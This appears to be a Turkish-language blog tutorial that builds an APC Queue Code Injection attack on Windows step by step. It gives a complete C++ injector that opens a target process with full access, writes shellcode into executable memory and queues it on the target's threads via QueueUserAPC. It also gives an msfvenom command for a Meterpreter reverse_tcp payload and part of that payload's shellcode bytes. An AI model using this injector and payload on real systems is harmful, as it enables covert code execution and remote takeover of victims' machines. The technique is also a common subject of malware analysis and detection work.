Introduction to APC, Thread and APC Code Injection

Bu yazımda bir APC (Asynchronous Procedure Call)‘nin ne olduğundan bahsedeceğim. İnternet’te türkçe olarak böyle bir Code Injection tekniğinin açıklaması ve örnekleri yapıldımı diye baktığımda hiç bir kaynak bulamadım. Bu yüzdende ben yazmaya karar verdim.

Yazının ileriki kısımların da Code Injection gerçekleştirmek için gerekli olan yazılımı step-by-step yani adım adım geliştireceğiz. İlk başlarda sıkıcı-anlaşılmaz gelebilir yalnız tüm anlatım birbiri ile bağlı. Kısaca giriş-gelişme sıkabilir bu yüzden sonuç‘u bekleyelim.

Yazı hakkında kısa bir özet geçmek gerekirse :

Bahsettiğim Code Injection tekniğinin daha önce birçok Zararlı Yazılım tarafından kullanıldığını gördük. Örneğin :

Bu zararlı yazılım‘lar içerisinde APC Queue Code Injection tekniği mevcut.

Yani kısaca anlatmak istediğim popüler bir teknik olduğundan aynı zamanda da bazı Anti-malware ve EDR (Endpoint Detection and Response) yazılımları tarafından farkedildiğinden, bir Saldırı tekniği olarak sıkça kullanılmasını tavsiye etmiyorum.

APC Nedir ?

Yukarıda basit bir özetini geçtim ama yine de teknik açıdan anlatmakta fayda var.

Asynchronous Procedure Call (APC), Eşzamansız (Asynchronously) olarak çalışan, aynı zamanda da Thread içeriğinde çalışmakta olan bir fonksiyondur.

Bir APC, Thread içerisine sunulduğu zaman sistem Software Interrupt gerçekleştirir. Dolayısı ile Thread tekrar yüklendiğinde ya da çalıştığında o Thread bizim APC fonksiyonumuzu çalıştırır.

Bir user-mode APC‘nin Thread içerisinde çalışması için Thread‘in bir Alertable State içerisinde olması lazımdır çünkü alertable I/O dediğimiz olay asynchronous I/O request‘lerini process eder.

Dolayısı ile bir Thread eğer Alertable State içerisinde olmazsa bir asynchronous I/O requesti olan APC fonksiyonunu çalıştıramaz yani process edemez.

Alertable I/O ve APC‘nin gerekli ilişkisini Windows tarafından yazılan bu döküman da daha detaylı öğrenebilirsiniz : Alertable I/O

Aklı biraz açıkgözlülüğe çalışanın aklına hemen şu soru gelecektir :

Vereceğim bu cevap ile blog yazısının tüm sihrini kaçıracağım ama yinede okuyanlar için heycanlandırıcı bir yazı olmasını istediğimden bu sorunun cevabı da Evet.

APC Queue Code Injection

Yazdığımız kodu tek tek anlatmaya başlamadan önce APC, Thread, Queue gibi terimleri daha iyi anlaşılması adına tekrar anlatalım.

Daha da basiti eğer biz bir Thread içerisine oluşturduğumuz APC fonksiyonunu (bu bir shellcode’da olabilir) eklediğimizde Thread hata verip sonraki çalışma esnasın da bizim fonksiyonumuzu çalıştıracağından process içerisinde oluşturulan birim‘leri kontrol edebileceğizdir.

Bu yukarıda anlattığımı kavrayamayan olduysa hiç sorun değil aşağıdaki resim tam olarak APC Queue Code Injection tekniğinin nasıl çalıştığını çok basit gözler önüne seriyor.

Resimi biraz daha adım adım açmak gerekir ise :

Şimdi bir Saldırgan ve Kurban yazılımı oluşturacağız. Ve bu sayede Kurban‘ın çalıştırdığı APC fonksiyonuna bizim Shellcode‘umuzu enjekte edeceğiz.

Öncelikle Kurban kodunu geliştirelim ve içeriğini biraz daha açıklayalım.

Victim Code

Öncelikle kütüphanelerimizi ekleyelim :

#include <iostream>
#include <Windows.h>

Main fonksiyonunu oluşturalım ve içerisinde bir adet APC fonksiyonunu çalıştıralım.

int main()
{
    std::cout << "Entering alertable state...\n";
		SleepEx(1000 * 60, true);
}

Basit bir şekilde kodumuz bu. Şimdi birazdan Saldırgan kodunu geliştirmeye başladığımızda bu kısmı daha iyi anlayacağız.

Buradaki SleepEx fonksiyonu bir APC fonksiyonudur.

Windows tarafından oluşturulan bu APC dökümanında hangi fonksiyonlar mevcut bakarsanız SleepEx‘i görebilirsiniz tabi onun dışında bir çok APC fonksiyonu mevcut :

Asynchronous Procedure Calls

Birazdan yapacağımız şey basitçe SleepEx fonksiyonunun başlangıç adresine bizim oluşturacağımız Shellcode‘u ekleyeceğiz. Dolayısıyla bu Kurban yazılım çalıştığında bizim Zararlı Kod‘umuzu çalıştıracak.

Attacker Code

Saldırgan kodunu geliştirmeye başlamadan önce alttaki parametreler aracığılıyla MSFVenom kullanarak bir Shellcode oluşturduğunuzu varsayıyorum.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx EXITFUNC=thread -f c

Öncelikle kütüphanelerimizi ekleyelim :

#include <iostream>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

Main fonksiyonunu oluşturalım :

int main()
{
}

Saldırgan‘ın kodu biraz uzun olduğundan adım adım ilerleyeceğiz. Kodu tamamen anlattıktan sonra Pastebin linkini vereceğim kendiniz derleyip çalıştırmak isterseniz diye.

Şimdi Shellcode‘umuzu bir değişkene atayalım :

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
		"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
		"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41";

APC içeren Zararlı Kod‘u enjekte edeceğimiz Process‘in Snapshot‘unu alacağımız değişkeni oluşturalım :

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);

Kurban yazılımı içeren Process‘i tutacak değişkeni oluşturalım :

HANDLE victimProcess = NULL;

Hekleyeceğimiz Process‘in kayıtlarını tutacak olan processEntry‘i ve hekleyeceğimiz Thread‘in kayıtlarını tutacka olan threadEntry‘i oluşturalım :

PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };

Hekleyeceğimiz Process‘in içerdiği Thread‘ların ID‘lerini tutacak değişkeni oluşturalım :

std::vector<DWORD> threadIds;

Shellcode‘un boyutunu tutacak değişkeni oluşturalım :

SIZE_T shellcodeSize = sizeof(shellcode);

Sonradan içini açacağımız Thread‘i bize tutacak olan threadHandle değişkenini oluşturalım :

HANDLE threadHandle = NULL;

Aşşağıdaki Kod basit bir şekilde şuanda bilgisayarınzda mevcut çalışan Process‘lerin dosya ismi ile bizim Kurban dosya ismini karşılaştırıp sonrada bulduğunda processEntry‘ye kaydediyor.

Daha da basit şekilde Kurban yazılımı bulup bu yazılımın Process kayıtlarını processEntry‘ye ekliyor. Bu şekilde de yazılım üzerinde düzenleme ya da içerik görme gerçekleştirebileceğiz. Örneğin Kurban yazılımın Process ID‘sini görmek gibi vs….

if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"testtt1.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}

Kurban yazılımı PROCESS_ALL_ACCESS değeri ile tüm erişime sahip şekilde OpenProcess fonksiyonu aracığılıyla açıyoruz.

victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

Sonra Kurban yazılımın içine VirtualAllocEx fonksiyonu aracılığı ile enjekte edeceğimiz Shellcode‘un boyutu kadar alan ayırıyoruz.

Ayırdığımız alanın Adresini‘de shellcodeAddr değişkenine atıyoruz :

LPVOID shellcodeAddr = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

apcRoutine değişkeni içerisine Shellcode adresimizi atıyoruz.

Bu kısımda kafanız karışmasın bu değişken‘in ileride ne yaptığını daha iyi anlayacağız :

PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcodeAddr;

VirtualAllocEx ile Kurban yazılımı içerisinde ayırdığımız alana WriteProcessMemory fonksiyonu ile bizim Shellcode yani Zararlı Kod‘umuzu yazıyoruz.

WriteProcessMemory(victimProcess, shellcodeAddr, shellcode, shellcodeSize, NULL);

Aşağıda ki if karşılaştırması ile threadEntry‘nin Process içerisinden aldığımız Snapshot ile uyumluluğunu sorguluyoruz.

Ve sonraki do-while döngüsünde bizim threadEntry içerisindeki Process ID‘si ile processEntry içerisindeki Process ID‘nin aynı olup olmadığını karşılaştırıyoruz.

Eğer aynı ise başta oluşturduğumuz threadIDs değişkenine Process içerisinde bulunan Thread yani çalışan Birimler tek tek ekleniyor.

if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}

Şimdi bu Saldırgan kodunun en önemli kısmına geldik.

Aşşağıdaki kod basit bir şekilde şunları yapıyor :

En önemli bölüme geldik QueueUserAPC. Bu fonksiyon basit bir şekilde bizim başta içerisine Shellcode adresimizi aktardığımız apcRoutine değişkenini alıyor ilk parametre olarak.

İkinci paramterle olarakta bir üstünde belirttiğimiz threadHandle değişkenini alıyor yani her döngüde yenilenen Kurban yazılım içerisinde bulunan Thread‘leri.

for (DWORD threadId : threadIds) {
		printf("Thread : 0x%08x\n", threadId);
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		getchar();
	}
	
return 0;

Bu fonksiyonun basitçe yaptığı şu Shellcode adresimizi bir APC fonksiyonu olarak görüyor ve bunu Kurban yazılım içerisinde çalışan Thread‘lerden birine atıyor.

Dolayısı ile Thread bizim Shellcode‘umuzu çalıştırıyor.

Tabi diyebilirsiniz ki Hangi thread’ı kullanması gerektiğini nereden biliyor ? diye. Çok güzel bir soru.

Seçtiği Thread‘ın içeriği bir Alertable State içeren APC fonksiyonu olmak zorunda.

Daha da basiti : SleepEx‘i içeren bir Thread ise Shellcode çalışıyor.

Döngü‘nün son kodu olarak eklediğim getchar bunu sağlıyor aslında.

Yani eğer Shellcode‘u ekleyeceği doğru Thread değilse ENTER tuşuna basıp program içerisindeki başka bir Thread‘ı deneyebiliyoruz.

Ama Kurban yazılım içerisinde sadece bir APC fonksiyonu kullandığımızdan oda SleepEx fonksiyonu olduğundan ilk Thread‘da direk Meterpreter‘den reverse_tcp yani erişimi alacağızdır.

Saldırgan‘ın tüm kaynak kodu : Saldırgan

Proof Of Concept ( PoC )

Saldırgan ve Kurban yazılımlarının APC Queue Code Injection etkileşiminin gerçekleştiği bir video hazırladım bakmak isterseniz.

Video : APC Queue Code Injection PoC

THE END

Bu yazının sonuna da geldik.

Process Shellcode Injection tekniklerinden sadece bir tanesidir bu.

Daha önce Process Shellcode Injection nedir hakkında bir yazı yayınladım eğer anlayamayan olduysa bu yazıyı.

Bakmanızı öneririm : Process Shellcode Injection